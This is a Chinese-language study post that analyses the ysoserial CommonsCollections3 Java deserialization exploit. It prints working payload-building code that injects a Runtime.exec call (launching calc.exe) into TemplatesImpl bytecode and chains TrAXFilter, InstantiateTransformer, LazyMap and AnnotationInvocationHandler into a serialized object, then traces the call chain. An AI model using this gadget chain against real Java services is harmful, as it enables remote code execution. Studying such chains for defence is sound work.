Java反序列化学习-CommonsCollections3

前一段时间一直在思考如何学习与发掘java反序列化漏洞,最近有一点小的成果,因此便想借着研究java反序列化利用工具ysoserial的机会来验证下自己的思路。

Java反序列化利用

要想掌握Java反序列化漏洞payload的构造,那就要知道在构造Java反序列化的payload的构造过程中有三个比较特别重要的步骤,在这里简称为两点一链:

输入数据执行点

输入数据执行点是指能够将攻击者控制的数据作为java代码执行的位置。

反序列化传导链

反序列化传导链主要用作链接反序列化利用点和用户数据可控点,能够使用户可控的数据在反序列化过程中被利用。

反序列化利用点

反序列化是指在程序的执行流程中有执行反序列化的操作。该位置一般为程序自身实现,只需定位即可。

CommonsCollections3

通过前面的学习,现在已经有两个输入数据的执行点和两条反序列化传导链。现在如果只要找到一个新的传导链或者一个新的数据执行点即可构造出一个新的发序列化Payload。CommonsCollections就是在前面的基础上找到了一条新的传导链,下面对其进行分析。

介绍

Java Collections Framework 是JDK 1.2中的一个重要组成部分。它增加了许多强大的数据结构,加速了最重要的Java应用程序的开发。从那时起,它已经成为Java中集合处理的公认标准。官网介绍如下:Commons Collections使用场景很广,很多商业,开源项目都使用到了commons-collections.jar。 很多组件,容器,cms(诸如WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等)的rce漏洞都和Commons Collections反序列被披露事件有关。

代码分析

整个分析过程并未完全按照ysoserial中的代码进行分析,而是结合前面的思考结果进行分段分析,但是整个payload的生成流程与ysoserial中一致。

输入数据执行点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = classPool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
ctClass.makeClassInitializer().insertAfter(cmd);
CtClass classSuper = classPool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(classSuper);

Class templateClass =TemplatesImpl.class;
Field bytecodesField = templateClass.getDeclaredField("_bytecodes");
Permit.setAccessible(bytecodesField);
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
Permit.setAccessible(nameField);
Field factoryField = TemplatesImpl.class.getDeclaredField("_tfactory");
Permit.setAccessible(factoryField);

byte[] tempBytes = new byte[1024];
Class fooClass = Foo.class;
Class parentClass = fooClass.getEnclosingClass();
String fullName = parentClass.getName().replace(".","/")+"$"+fooClass.getSimpleName()+".class";

InputStream tempFileInputStream = CommonsCollections3.class.getClassLoader().getResourceAsStream(fullName);
ByteArrayOutputStream out = new ByteArrayOutputStream();
int len =0;
while((len = tempFileInputStream.read(tempBytes))!= -1) {
out.write(tempBytes, 0, len);
}
// 创建TemplatesImpl实例
TemplatesImpl templatesImpl = (TemplatesImpl) templateClass.newInstance();
bytecodesField.set(templatesImpl,new byte[][]{ctClass.toBytecode(),out.toByteArray()});
nameField.set(templatesImpl,"Pwner");
factoryField.set(templatesImpl, new TransformerFactoryImpl());
return templatesImpl;

可以看到,在该payload中,可控数据执行点就是直接使用了TemplatesImpl,关于其具体的原理,查看CommonsCollections2的讲解,这里不在深入讲解。

反序列化传导链

在CommonsCollections2的payload构造当中,主要是使用了InvokerTransformer来进入可控数据的执行链条,在CommonsCollections3中不再使用InvokerTransformer,而是使用TrAXFilter类来实现这一功能,下面来看一下其传导链的构造方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesInstance})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// CommonsCollections1中的传导链
HashMap innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
Constructor constructors = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
Permit.setAccessible(constructors);
InvocationHandler invocationHandler = (InvocationHandler) constructors.newInstance(Override.class,lazyMap);

Map proxyMap = (Map) Proxy.newProxyInstance(CommonsCollections3.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
InvocationHandler finalInvocationHandler = (InvocationHandler) constructors.newInstance(Override.class,proxyMap);

FileOutputStream fileOutputStream = new FileOutputStream(new File("finalInvocationHandler.ser"));
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(finalInvocationHandler);

FileInputStream fileInputStream = new FileInputStream(new File("finalInvocationHandler.ser"));
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();

从上面的代码可以看到,CommonsCollections3不仅用到了CommonsCollections2中的一部分传导链,也用到了CommonsCollection1中的一部分传导链。CommonsCollections3结合两种传导链,并在其中增加了新的胶合元素TrAXFilter.class,关于AnnotationInvocationHandler与Transformer的传导这里就不分析了,可以参考CommonsCollections1的分析,下面就着重分析下新增的TrAXFilter和InstantiateTransformer这两个类。
TrAXFilter.java

1
2
3
4
5
6
public TrAXFilter(Templates templates)  throws TransformerConfigurationException {
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideD
}

从TrAXFilter的源代码中可以看到,TrAXFilter的构造函数调用了TemplatesImpl的newTransformer()方法,因此只要将TemplatesImpl实例传入到TrAXFilter的构造函数中即可。根据Payload构造源码可知,此时使用了ChainedTransformer、ConstantTransformer和InstantiateTransformer来构造TrAXFilter的实例化过程,其中ChainedTransformer和ConstantTranformer前面已经碰到过,下面看一下InstantiateTranformer这个类。
InstantiateTransformer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}


public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

分析上面的源代码可知,只要在创建InstantiateTransformer实例时,传入正确的参数类型和参数,然后再调用实例的tranform方法并传入需要实例化的class即可产生需要的对象实例。正好满足前面TrAXFilter类的构造。
这样便可以利用InstantiateTransformer 来实例化TrAXFilter,然后再实例化TemplatesImpl,最后使输入的代码能够执行。

反序列函数调用链

根据上面的分析来还原下整个反序列化过程的调用链

1
2
3
4
5
6
7
8
9
10
11
AnnotationInvocationHandler.readObject
Map.entrySet
AnnotationInvocationHandler.invoke
Map.get
ChainedTransformer.transform
ConstantTransformer.transform
InstantiateTransformer.transform
TrAXFilter()
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
TemplatesImpl.defineTransletClasses

源代码文件

1.源代码工程文件